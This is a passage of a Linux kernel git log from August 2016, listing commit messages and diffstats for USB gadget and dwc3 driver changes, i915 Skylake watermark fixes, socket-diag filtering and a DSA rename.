http://patchwork.freedesktop.org/patch/msgid/20160804080657.9664-1-dh.herrmann@gmail.com drivers/gpu/drm/Kconfig | 135 ++++++++++++++++++++++++++++-------------------- 1 file changed, 78 insertions(+), 57 deletions(-) commit 594e121f25689baaf1c8c9b006701e66744d5838 Author: Felipe Balbi Date: Wed Aug 24 14:38:10 2016 +0300 usb: dwc3: gadget: stop kicking if we run out of space In case our TRB ring is full, we can avoid trying to kick transfers which won't start and just add requests to the queue. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 3 +++ 1 file changed, 3 insertions(+) commit 7ae7df4982af6aed25c5e9e71b91027a494149de Author: Felipe Balbi Date: Wed Aug 24 14:37:22 2016 +0300 usb: dwc3: gadget: abolish trbs_left Instead, we can always rely on dwc3_calc_trbs_left() directly. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit ba1582f22231821c57534e87b077d84adbc15dbd Author: Felipe F. Tonello Date: Tue Aug 23 18:24:51 2016 +0100 usb: gadget: f_hid: use alloc_ep_req() Use gadget's framework allocation function instead of directly calling usb_ep_alloc_request(). Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_hid.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 14794d7133d0f16b4901207a489f04e4e700166a Author: Felipe F. Tonello Date: Tue Aug 23 18:24:50 2016 +0100 usb: gadget: f_hid: use free_ep_req() We should always use free_ep_req() when allocating requests with alloc_ep_req(). Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_hid.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit aadbe812463f8af1751debb0eaaeec8a778d7ff1 Author: Felipe F. Tonello Date: Tue Aug 23 18:24:49 2016 +0100 usb: gadget: remove useless parameter in alloc_ep_req() The default_length parameter of alloc_ep_req was not really necessary and gadget drivers would almost always create an inline function to pass the same value to len and default_len. This patch removes that parameter and updates all calls to alloc_ep_req() to use the new API. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_hid.c | 2 +- drivers/usb/gadget/function/f_loopback.c | 6 ++---- drivers/usb/gadget/function/f_midi.c | 2 +- drivers/usb/gadget/function/f_sourcesink.c | 6 ++---- drivers/usb/gadget/u_f.c | 7 +++---- drivers/usb/gadget/u_f.h | 3 +-- 6 files changed, 10 insertions(+), 16 deletions(-) commit 06281d460fc5d8df843786341ded16d85f50dd3d Author: John Youn Date: Mon Aug 22 15:39:13 2016 -0700 usb: dwc3: Add ENDXFER command polling ENDXFER polling is available on version 3.10a and later of the DWC_usb3 (USB 3.0) controller. With this feature, the software can poll the CMDACT bit in the DEPCMD register after issuing an ENDXFER command. This feature is enabled by writing GUCTL2[14]. This feature is NOT available on the DWC_usb31 (USB 3.1) IP. Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc3/core.c | 11 +++++++++++ drivers/usb/dwc3/core.h | 4 ++++ drivers/usb/dwc3/gadget.c | 16 +++++++++++++++- 3 files changed, 30 insertions(+), 1 deletion(-) commit da605f5f842163921f851e34402da6f5829a6328 Author: Jaret Cantu Date: Tue Aug 16 18:31:48 2016 -0400 usb: phy: mxs: Add DT bindings to configure TX settings The TX settings can be calibrated for particular hardware. The phy is reset by Linux, so this cannot be handled by the bootloader. The TRM mentions that the maximum resistance should be used for the DN/DP calibration in order to pass USB certification. The values for the TX registers are poorly described in the TRM. The meanings of the register values were taken from another NXP-provided document: https://community.nxp.com/message/566147#comment-566912 Acked-by: Peter Chen Acked-by: Rob Herring Signed-off-by: Jaret Cantu Signed-off-by: Felipe Balbi .../devicetree/bindings/phy/mxs-usb-phy.txt | 10 ++++ drivers/usb/phy/phy-mxs-usb.c | 61 ++++++++++++++++++++++ 2 files changed, 71 insertions(+) commit e51163690eaa6fd36abca2878bd6c53dcd423fd1 Author: Brian Norris Date: Thu Aug 18 14:37:16 2016 -0700 Documentation: dt: dwc3: note the supported phy-names The dwc3 driver expicitly looks for "usb2-phy" or "usb3-phy", but we never noted these names in the documentation. Acked-by: Rob Herring Signed-off-by: Brian Norris Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/dwc3.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 512e47572f7d6c9bb43a03fee26928763447728b Author: John Youn Date: Fri Aug 19 11:57:52 2016 -0700 usb: dwc3: Add revision numbers for the USB 3.0 IP Add revision number constants for the 3.00a and 3.10a releases. Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc3/core.h | 2 ++ 1 file changed, 2 insertions(+) commit 4368c28ae7acb0744968e58c81be561b44aacd57 Author: Felix Hädicke Date: Wed Jun 22 01:12:09 2016 +0200 usb: gadget: f_fs: handle control requests in config 0 Introduces a new FunctionFS descriptor flag named FUNCTIONFS_CONFIG0_SETUP. When this flag is enabled, FunctionFS userspace drivers can process non-standard control requests in configuration 0. Signed-off-by: Felix Hädicke Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_fs.c | 5 +++-- include/uapi/linux/usb/functionfs.h | 1 + 2 files changed, 4 insertions(+), 2 deletions(-) commit 1a00b457a5482c3822bfc0fd64c088b2dba93e26 Author: Felix Hädicke Date: Wed Jun 22 01:12:08 2016 +0200 usb: gadget: composite: let USB functions process ctrl reqs in cfg0 It can sometimes be necessary for gadget drivers to process non-standard control requests, which host devices can send without having sent USB_REQ_SET_CONFIGURATION. Therefore, the req_match() usb_function method is enhanced with the new parameter "config0". When a USB configuration is active, this parameter is false. When a non-core control request is processed in composite_setup(), without an active configuration, req_match() of the USB functions of all available configurations which implement this function, is called with config0=true. Then the control request gets processed by the first usb_function instance whose req_match() returns true. Signed-off-by: Felix Hädicke Signed-off-by: Felipe Balbi drivers/usb/gadget/composite.c | 16 ++++++++++------ drivers/usb/gadget/function/f_fs.c | 9 +++++++-- drivers/usb/gadget/function/f_printer.c | 6 +++++- include/linux/usb/composite.h | 3 ++- 4 files changed, 24 insertions(+), 10 deletions(-) commit 54dfce6d07b0391e23d006579bba488de4f7d6aa Author: Felix Hädicke Date: Wed Jun 22 01:12:07 2016 +0200 usb: gadget: f_fs: handle control requests not directed to interface or endpoint Introduces a new FunctionFS descriptor flag named FUNCTIONFS_ALL_CTRL_RECIP. When this flag is enabled, control requests, which are not explicitly directed to an interface or endpoint, can be handled. This allows FunctionFS userspace drivers to process non-standard control requests. Signed-off-by: Felix Hädicke Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_fs.c | 34 ++++++++++++++++++++++++++++++---- include/uapi/linux/usb/functionfs.h | 1 + 2 files changed, 31 insertions(+), 4 deletions(-) commit ed6fe1f50f0c0fdea674dfa739af50011034bdfa Author: Johannes Berg Date: Thu Jun 23 22:28:54 2016 +0200 usb: gadget: f_hid: add dev to configfs Even if the /dev/hidg* chardev is automatically created, one has to guess which one belongs to which function. In the case of multiple HID functions, or maybe even multiple peripherals, this becomes difficult. Add the dev (with major and minor number) to configfs to allow looking up (or even creating) the right device node for each function. This file is read-only. Signed-off-by: Johannes Berg Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_hid.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 00af62330c39a6c88615a08e7f9d068944e4af69 Author: Baolin Wang Date: Fri Jul 15 17:13:27 2016 +0800 usb: dwc3: core: Move the mode setting to the right place When dwc3 core enters into suspend mode, the system (especially for mobile device) may power off the dwc3 controller for power saving, that will cause dwc3 controller lost the mode operation when resuming dwc3 core. Thus we can move the mode setting into dwc3_core_init() function to avoid this issue. Signed-off-by: Baolin Wang Signed-off-by: Felipe Balbi drivers/usb/dwc3/core.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit f8ca46aeb7b422b8c22e286e25269e4fefc560bd Author: Felipe F. Tonello Date: Mon Aug 8 21:30:10 2016 +0100 usb: gadget: f_midi: drop substreams when disabling endpoint This change makes sure that the ALSA buffers are cleaned if an endpoint becomes disabled. Before this change, if the internal ALSA buffer did overflow, the MIDI function would stop sending MIDI to the host. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_midi.c | 27 +++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) commit f42ab18cc8aed6b5a3532c468f99285de9eabab5 Author: Felipe F. Tonello Date: Mon Aug 8 21:30:09 2016 +0100 usb: gadget: f_midi: refactor state machine This refactor results in a cleaner state machine code and promotes consistency, readability, and maintanability of this driver. This refactor state machine was well tested and it is currently running in production code and devices. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_midi.c | 204 ++++++++++++++++++++++------------- 1 file changed, 129 insertions(+), 75 deletions(-) commit 7ea9fde7605c3d224ba28cd17ffd8ac408453a96 Author: Felipe F. Tonello Date: Mon Aug 8 21:30:08 2016 +0100 usb: gadget: f_midi: defaults buflen sizes to 512 512 is the value used by wMaxPacketSize, as specified by the USB Spec. This makes sure this driver uses, by default, the most optimal value for IN and OUT endpoint requests. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_midi.c | 2 +- drivers/usb/gadget/legacy/gmidi.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 4a655f152e7932e43356b683958200094b368d5a Author: Felipe F. Tonello Date: Mon Aug 8 21:30:07 2016 +0100 usb: gadget: f_midi: remove alignment code for OUT endpoint The new version of alloc_ep_req() already aligns the buffer size to wMaxPacketSize on OUT endpoints. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_midi.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit e0466156ee2e944fb47a3fa00932c3698a6d2c67 Author: Felipe F. Tonello Date: Mon Aug 8 21:30:06 2016 +0100 usb: gadget: align buffer size when allocating for OUT endpoint Using usb_ep_align() makes sure that the buffer size for OUT endpoints is always aligned with wMaxPacketSize (512 usually). This makes sure that no buffer has the wrong size, which can cause nasty bugs. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/u_f.c | 3 +++ drivers/usb/gadget/u_f.h | 16 +++++++++++++++- 2 files changed, 18 insertions(+), 1 deletion(-) commit 69bb99738b5c6d56d2b1a75db9cbb4d187453c1a Author: Felipe F. Tonello Date: Mon Aug 8 21:30:05 2016 +0100 usb: gadget: change len to size_t on alloc_ep_req() Length of buffers should be of type size_t whenever possible. Altough recommended, this change has no real practical change, unless a driver has a uses a huge or negative buffer size - it might help find these bugs. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi drivers/usb/gadget/u_f.c | 2 +- drivers/usb/gadget/u_f.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 16b114a6d7973cf027e4c2b23eae1076eaf98c25 Author: Felipe F. Tonello Date: Mon Aug 8 21:30:04 2016 +0100 usb: gadget: fix usb_ep_align_maybe endianness and new usb_ep_align USB spec specifies wMaxPacketSize to be little endian (as other properties), so when using this variable in the driver we should convert to the current CPU endianness if necessary. This patch also introduces usb_ep_align() which does always returns the aligned buffer size for an endpoint. This is useful to be used by USB requests allocator functions. Signed-off-by: Felipe F. Tonello Signed-off-by: Felipe Balbi include/linux/usb/gadget.h | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 6ac47090eef0c4358b04a974c4a5ac3d9bf44f79 Author: Philipp Gesang Date: Mon Aug 1 17:04:19 2016 +0200 usb: gadget: Add per-lun inquiry string Introduce an attribute "inquiry_string" to the lun. In some environments, e. g. BIOS boot menus, the inquiry string is the only information about devices presented to the user. The default string depends on the "cdrom" bit of the first lun as well as the kernel version and allows no further customization. So without access to the client it is not obvious which gadget is active at a given point and what any of the available luns might contain. If "inquiry_string" is ignored or set to the empty string, the old behavior is preserved. Signed-off-by: Philipp Gesang Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_mass_storage.c | 28 ++++++++++++++++++++++------ drivers/usb/gadget/function/f_mass_storage.h | 1 + drivers/usb/gadget/function/storage_common.c | 24 ++++++++++++++++++++++++ drivers/usb/gadget/function/storage_common.h | 10 ++++++++++ 4 files changed, 57 insertions(+), 6 deletions(-) commit f652191be3f6bc997bbaf9bd4e8ec6dc96f44433 Author: William Wu Date: Tue Aug 16 22:44:36 2016 +0800 usb: dwc3: of-simple: add compatible for rockchip rk3399 Rockchip platform merely enable usb3 clocks and populate its children. So we can use this generic glue layer to support Rockchip dwc3. Signed-off-by: William Wu Signed-off-by: Felipe Balbi drivers/usb/dwc3/dwc3-of-simple.c | 1 + 1 file changed, 1 insertion(+) commit 76bf85cc2c2d5af1be477a3c0d3a6bb8e67d707c Author: William Wu Date: Tue Aug 16 22:46:41 2016 +0800 usb: dwc3: rockchip: add devicetree bindings documentation This patch adds the devicetree documentation required for Rockchip USB3.0 core wrapper consisting of USB3.0 IP from Synopsys. It supports DRD mode, and could operate in device mode (SS, HS, FS) and host mode (SS, HS, FS, LS). Signed-off-by: William Wu Acked-by: Rob Herring Signed-off-by: Felipe Balbi .../devicetree/bindings/usb/rockchip,dwc3.txt | 59 ++++++++++++++++++++++ 1 file changed, 59 insertions(+) commit 00fe081dc3a37032c05e308c40d241d60c05ebe6 Author: William Wu Date: Tue Aug 16 22:44:39 2016 +0800 usb: dwc3: add dis_del_phy_power_chg_quirk Add a quirk to clear the GUSB3PIPECTL.DELAYP1TRANS bit, which specifies whether disable delay PHY power change from P0 to P1/P2/P3 when link state changing from U0 to U1/U2/U3 respectively. Signed-off-by: William Wu Acked-by: Rob Herring Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/dwc3.txt | 2 ++ drivers/usb/dwc3/core.c | 5 +++++ drivers/usb/dwc3/core.h | 3 +++ 3 files changed, 10 insertions(+) commit 32f2ed864dd523bca2ee804effa9f3f43aa03ba6 Author: William Wu Date: Tue Aug 16 22:44:38 2016 +0800 usb: dwc3: make usb2 phy utmi interface configurable Support to configure the UTMI+ PHY with an 8- or 16-bit interface via DT. The UTMI+ PHY interface is a hardware capability, and it's platform dependent. Normally, the PHYIF can be configured during coreconsultant. But for some specific USB cores(e.g. rk3399 SoC DWC3), the default PHYIF configuration value is false, so we need to reconfigure it by software. Signed-off-by: William Wu Acked-by: Rob Herring Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/generic.txt | 6 ++++++ drivers/usb/dwc3/core.c | 18 ++++++++++++++++++ drivers/usb/dwc3/core.h | 12 ++++++++++++ 3 files changed, 36 insertions(+) commit 16199f33893922db8de8d3460384291b853051ec Author: William Wu Date: Tue Aug 16 22:44:37 2016 +0800 usb: dwc3: add dis_u2_freeclk_exists_quirk Add a quirk to clear the GUSB2PHYCFG.U2_FREECLK_EXISTS bit, which specifies whether the USB2.0 PHY provides a free-running PHY clock, which is active when the clock control input is active. Signed-off-by: William Wu Acked-by: Rob Herring Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/dwc3.txt | 3 +++ drivers/usb/dwc3/core.c | 5 +++++ drivers/usb/dwc3/core.h | 5 +++++ 3 files changed, 13 insertions(+) commit 17f6ed62b0dbe58ca9f527d87612de04ed2cce8b Author: Jussi Kivilinna Date: Fri Aug 12 17:29:35 2016 +0300 usb: gadget: net2280: match interrupt endpoints to PIO endpoints and DMA to bulk With composite gadget (ACM + NCM), USB3380 to host TCP transfer speed dropped to 150 Mbit/s compared to 900 Mbit/s with NCM gadget. Problem seems to be that net2280/USB3380 has only four DMA channels and those DMA channels are allocated to first HW endpoints. Endpoint match function was mapping endpoint names directly, so NCM did not get DMA for bulk endpoints. This patch changed match_ep to prefer DMA enabled hw endpoints for bulk usb endpoints and PIO for interrupt usb endpoints. Signed-off-by: Jussi Kivilinna Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/net2280.c | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) commit 1de2ebfb8cd522ad7d0deae94ae47592f975e017 Author: Jussi Kivilinna Date: Fri Aug 12 17:29:34 2016 +0300 usb: gadget: net2280: fix infinite loop in irq handler With SuperSpeed CDC NCM gadget, net2280 would get stuck in 'handle_ep_small' function. Triggering issue requires large TCP transfer from host to USB3380. Patch adds check for stuck condition and prevents hard lockup. Signed-off-by: Jussi Kivilinna Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/net2280.c | 40 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 37 insertions(+), 3 deletions(-) commit 1650113888fe7b7e16604a5019c32dd3ddeb3af2 Author: Jussi Kivilinna Date: Fri Aug 12 17:28:05 2016 +0300 usb: gadget: f_ncm: add SuperSpeed descriptors for CDC NCM Patch enables SuperSpeed for NCM gadget. Tested with USB3380 and measured TCP throughput with two Intel PCs: udc to host: 920 Mbit/s host to udc: 550 Mbit/s Signed-off-by: Jussi Kivilinna Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_ncm.c | 82 ++++++++++++++++++++++++++++++++++++- 1 file changed, 80 insertions(+), 2 deletions(-) commit 8dc7d30dbaa6e8020de90fb6791ebe9f35e75d75 Author: Bhaktipriya Shridhar Date: Thu Jul 28 13:57:29 2016 +0530 usb: dwc2: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue replaces the deprecated create_singlethread_workqueue. There are multiple work items on the work queue, which require ordering. Hence, an ordered workqueue has been used. The workqueue "wq_otg" is not being used on a memory reclaim path. Hence, WQ_MEM_RECLAIM has not been set. Acked-by: John Youn Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Felipe Balbi drivers/usb/dwc2/hcd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f510b5a1d00bba1c908a4886e4c3309aca0abc8c Author: Colin Ian King Date: Mon Jul 25 22:57:36 2016 +0100 usb: gadget: remove redundant self assignment The assignment ret = ret is redundant and can be removed. Reviewed-by: Peter Chen Signed-off-by: Colin Ian King Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/core.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit a08f5dbf877a4594816dbb499c4af18fce936110 Author: Romain Izard Date: Tue Jul 26 18:21:46 2016 +0200 usb: gadget: configfs: log function unbinding as information Disabling USB gadget functions configured through configfs is something that can happen in normal use cases. Keep the existing log for this type of event, but only as information, not as an error. Signed-off-by: Romain Izard Signed-off-by: Felipe Balbi drivers/usb/gadget/configfs.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 77e012ac865037e5a227e69a294326b6ce93f9a4 Author: Robert Jarzmik Date: Fri Jul 8 22:09:07 2016 +0200 usb: phy: generic: remove the vbus dependency As the last known user, ie. pxa27x_udc relying on calls to usb_gadget_xxx() was amended to use the phy notifier, remove a bit the USB stack adherence. Actually the driver still uses the gadget API for structures definition, but the implementation of USB gadget specific function usb_gadget_*() is not necessary anymore. Signed-off-by: Robert Jarzmik Signed-off-by: Felipe Balbi drivers/usb/phy/phy-generic.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 9835a6ef1a96b203278629bbcf5099622070c32b Author: Robert Jarzmik Date: Fri Jul 8 22:09:06 2016 +0200 usb: phy: generic: cope with initial state In the gpio based case, the status of the phy is known at start by reading the VBus gpio. Actually, this is a fix, as this initial state, when not set up, prevents a gadget to answer to the enumeration phase, as there is no notification in this case (the VBus is already high when kernel boots) so no interrupt is triggered, and the flow is : - gadget initializes - gadget gets its phy-generic with a xxx_get_phy_xxx() call type - gadget does a "set_peripheral()" call type => here if the otg->state is correctly filled, the proper vbus handling will be called, and the gadget will be aware it should answer enumeration and go forth Without this fix, the USB cable must be removed and replugged for any gadget relying on phy-generic and its gpio vbus handling to work. The problem was seen on a pxa27x architecture based board on a devicetree build. Signed-off-by: Robert Jarzmik Signed-off-by: Felipe Balbi drivers/usb/phy/phy-generic.c | 2 ++ 1 file changed, 2 insertions(+) commit 0c0e287d454a2dbfaea4159ed45f7b146010f88b Author: Robert Jarzmik Date: Fri Jul 8 22:09:05 2016 +0200 usb: gadget: pxa27x: add phy notifier event handler In the legacy behavior, and USB phy, upon detection a VBus signal, was calling usb_gadget_vbus_(dis)connect(). This model doesn't work if the phy is generic and doesn't have an adherence to the gadget API. Instead of relying on the phy to call the gadget API, hook up the phy notifier to report the VBus event, and upon it call the usb gadget API ourselves. This brings a new ordering problem, as before even if the usb_get_phy() was failing because the UDC was probed before the phy, the phy would call the gadget anyway, making the VBus connection event forwarded to the gadget. Now we rely on the notifier, we have to ensure the xxx_get_phy() does indeed work. In order to cope with this, it is assumed that : - for legacy platform_data machine, as the ordering cannot be ensured, the phy must call usb_gadget_vbus_(dis)connect, such as phy-gpio-vbus-usb.c - for new devicetree platforms, we'll rely on the probe deferral, and the phy can be gadget API agnostic. Signed-off-by: Robert Jarzmik Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/pxa27x_udc.c | 51 +++++++++++++++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 2 deletions(-) commit dc55c67e9c95e89ef5e384fb1f70520a5383c9dd Author: Felipe Balbi Date: Fri Aug 12 13:20:32 2016 +0300 usb: dwc3: gadget: improve increment request->actual No functional changes, just a slight cosmetic change. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit f99f53f24d87d88c1f6e7c7785599cb3e4015839 Author: Felipe Balbi Date: Fri Aug 12 13:19:20 2016 +0300 usb: dwc3: gadget: remove condition that never happens We don't use LST bit anymore, so this condition will never trigger. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 1f512119a08c0d4d37c6f7865da378349d244ecc Author: Felipe Balbi Date: Fri Aug 12 13:17:27 2016 +0300 usb: dwc3: gadget: add remaining sg entries to ring Upon transfer completion after a full ring, let's add more TRBs to our ring in order to complete our request successfully. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 33 ++++++++++++++++++++++++--------- 1 file changed, 24 insertions(+), 9 deletions(-) commit 27082493e9c6371b05370a619ab9d2877c5f4726 Author: Lyude Date: Wed Aug 24 07:48:10 2016 +0200 drm/i915/skl: Update DDB values atomically with wms/plane attrs Now that we can hook into update_crtcs and control the order in which we update CRTCs at each modeset, we can finish the final step of fixing Skylake's watermark handling by performing DDB updates at the same time as plane updates and watermark updates. The first major change in this patch is skl_update_crtcs(), which handles ensuring that we order each CRTC update in our atomic commits properly so that they honor the DDB flush order. The second major change in this patch is the order in which we flush the pipes. While the previous order may have worked, it can't be used in this approach since it no longer will do the right thing. For example, using the old ddb flush order: We have pipes A, B, and C enabled, and we're disabling C. Initial ddb allocation looks like this: | A | B |xxxxxxx| Since we're performing the ddb updates after performing any CRTC disablements in intel_atomic_commit_tail(), the space to the right of pipe B is unallocated. 1. Flush pipes with new allocation contained into old space. None apply, so we skip this 2. Flush pipes having their allocation reduced, but overlapping with a previous allocation. None apply, so we also skip this 3. Flush pipes that got more space allocated. This applies to A and B, giving us the following update order: A, B This is wrong, since updating pipe A first will cause it to overlap with B and potentially burst into flames. Our new order (see the code comments for details) would update the pipes in the proper order: B, A. As well, we calculate the order for each DDB update during the check phase, and reference it later in the commit phase when we hit skl_update_crtcs(). This long overdue patch fixes the rest of the underruns on Skylake. Changes since v1: - Add skl_ddb_entry_write() for cursor into skl_write_cursor_wm() Changes since v2: - Use the method for updating CRTCs that Ville suggested - In skl_update_wm(), only copy the watermarks for the crtc that was passed to us Changes since v3: - Small comment fix in skl_ddb_allocation_overlaps() Changes since v4: - Remove the second loop in intel_update_crtcs() and use Ville's suggestion for updating the ddb allocations in the right order - Get rid of the second loop and just use the ddb state as it updates to determine what order to update everything in (thanks for the suggestion Ville) - Simplify skl_ddb_allocation_overlaps() - Split actual overlap checking into it's own helper Fixes: 0e8fb7ba7ca5 ("drm/i915/skl: Flush the WM configuration") Fixes: 8211bd5bdf5e ("drm/i915/skl: Program the DDB allocation") [omitting CC for stable, since this patch will need to be changed for such backports first] Testcase: kms_cursor_legacy Testcase: plane-all-modeset-transition Signed-off-by: Lyude Cc: Ville Syrjälä Cc: Daniel Vetter Cc: Radhakrishna Sripada Cc: Hans de Goede Cc: Matt Roper Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471961565-28540-2-git-send-email-cpaul@redhat.com drivers/gpu/drm/i915/intel_display.c | 93 +++++++++++++--- drivers/gpu/drm/i915/intel_drv.h | 7 ++ drivers/gpu/drm/i915/intel_pm.c | 200 ++++++++--------------------------- 3 files changed, 132 insertions(+), 168 deletions(-) commit 896e5bb022bce64e29ce2e1b2fc2a7476d311a15 Author: Lyude Date: Wed Aug 24 07:48:09 2016 +0200 drm/i915: Move CRTC updating in atomic_commit into it's own hook Since we have to write ddb allocations at the same time as we do other plane updates, we're going to need to be able to control the order in which we execute modesets on each pipe. The easiest way to do this is to just factor this section of intel_atomic_commit_tail() (intel_atomic_commit() for stable branches) into it's own function, and add an appropriate display function hook for it. Based off of Matt Rope's suggestions Changes since v1: - Drop pipe_config->base.active check in intel_update_crtcs() since we check that before calling the function Signed-off-by: Lyude Reviewed-by: Matt Roper [omitting CC for stable, since this patch will need to be changed for such backports first] Cc: Ville Syrjälä Cc: Daniel Vetter Cc: Radhakrishna Sripada Cc: Hans de Goede Signed-off-by: Lyude Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471961565-28540-1-git-send-email-cpaul@redhat.com drivers/gpu/drm/i915/i915_drv.h | 2 + drivers/gpu/drm/i915/intel_display.c | 74 +++++++++++++++++++++++++----------- 2 files changed, 54 insertions(+), 22 deletions(-) commit bc5ca47c0af4f949ba889e666b7da65569e36093 Author: Chris Wilson Date: Thu Aug 25 08:23:14 2016 +0100 drm/i915: Restore lost "Initialized i915" welcome message A side effect of removing the midlayer from driver loading was the loss of a useful message announcing to userspace that i915 had successfully started, e.g.: [drm] Initialized i915 1.6.0 20160425 for 0000:00:02.0 on minor 0 Reported-by: Timo Aaltonen Signed-off-by: Chris Wilson Fixes: 8f460e2c78f2 ("drm/i915: Demidlayer driver loading") Cc: Daniel Vetter Cc: Ville Syrjälä Cc: drm-intel-fixes@lists.freedesktop.org Link: http://patchwork.freedesktop.org/patch/msgid/20160825072314.17402-1-chris@chris-wilson.co.uk Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.c | 5 +++++ 1 file changed, 5 insertions(+) commit a52e95abf772b43c9226e9a72d3c1353903ba96f Author: Lorenzo Colitti Date: Wed Aug 24 15:46:26 2016 +0900 net: diag: allow socket bytecode filters to match socket marks This allows a privileged process to filter by socket mark when dumping sockets via INET_DIAG_BY_FAMILY. This is useful on systems that use mark-based routing such as Android. The ability to filter socket marks requires CAP_NET_ADMIN, which is consistent with other privileged operations allowed by the SOCK_DIAG interface such as the ability to destroy sockets and the ability to inspect BPF filters attached to packet sockets. Tested: https://android-review.googlesource.com/261350 Signed-off-by: Lorenzo Colitti Acked-by: David Ahern Signed-off-by: David S. Miller include/uapi/linux/inet_diag.h | 6 ++++++ net/ipv4/inet_diag.c | 36 +++++++++++++++++++++++++++++++++--- 2 files changed, 39 insertions(+), 3 deletions(-) commit 627cc4add53c0470bfd118002669205d222d3a54 Author: Lorenzo Colitti Date: Wed Aug 24 15:46:25 2016 +0900 net: diag: slightly refactor the inet_diag_bc_audit error checks. This simplifies the code a bit and also allows inet_diag_bc_audit to send to userspace an error that isn't EINVAL. Signed-off-by: Lorenzo Colitti Acked-by: David Ahern Signed-off-by: David S. Miller net/ipv4/inet_diag.c | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) commit 9d490b4ee4d7d495a4f4908ea998d2a7355e0807 Author: Vivien Didelot Date: Tue Aug 23 12:38:56 2016 -0400 net: dsa: rename switch operations structure Now that the dsa_switch_driver structure contains only function pointers as it is supposed to, rename it to the more appropriate dsa_switch_ops, uniformly to any other operations structure in the kernel. No functional changes here, basically just the result of something like: s/dsa_switch_driver *drv/dsa_switch_ops *ops/g However keep the {un,}register_switch_driver functions and their dsa_switch_drivers list as is, since they represent the -- likely to be deprecated soon -- legacy DSA registration framework. In the meantime, also fix the following checks from checkpatch.pl to make it happy with this patch: CHECK: Comparison to NULL could be written "!ops" #403: FILE: net/dsa/dsa.c:470: + if (ops == NULL) { CHECK: Comparison to NULL could be written "ds->ops->get_strings" #773: FILE: net/dsa/slave.c:697: + if (ds->ops->get_strings != NULL) CHECK: Comparison to NULL could be written "ds->ops->get_ethtool_stats" #824: FILE: net/dsa/slave.c:785: + if (ds->ops->get_ethtool_stats != NULL) CHECK: Comparison to NULL could be written "ds->ops->get_sset_count" #835: FILE: net/dsa/slave.c:798: + if (ds->ops->get_sset_count != NULL) total: 0 errors, 0 warnings, 4 checks, 784 lines checked Signed-off-by: Vivien Didelot Acked-by: Florian Fainelli Signed-off-by: David S. Miller Documentation/networking/dsa/dsa.txt | 10 +-- drivers/net/dsa/b53/b53_common.c | 4 +- drivers/net/dsa/bcm_sf2.c | 4 +- drivers/net/dsa/mv88e6060.c | 6 +- drivers/net/dsa/mv88e6xxx/chip.c | 8 +- include/net/dsa.h | 10 +-- net/dsa/dsa.c | 70 ++++++++--------- net/dsa/dsa2.c | 16 ++-- net/dsa/slave.c | 146 +++++++++++++++++------------------ 9 files changed, 137 insertions(+), 137 deletions(-) commit e9c3ddee6a08c5b25cdb06b524320a5a98250513 Merge: 51d6120 7b4d3e2 Author: Dave Airlie Date: Thu Aug 25 12:59:50 2016 +1000 Merge branch 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-next First drm-next pull for radeon and amdgpu for 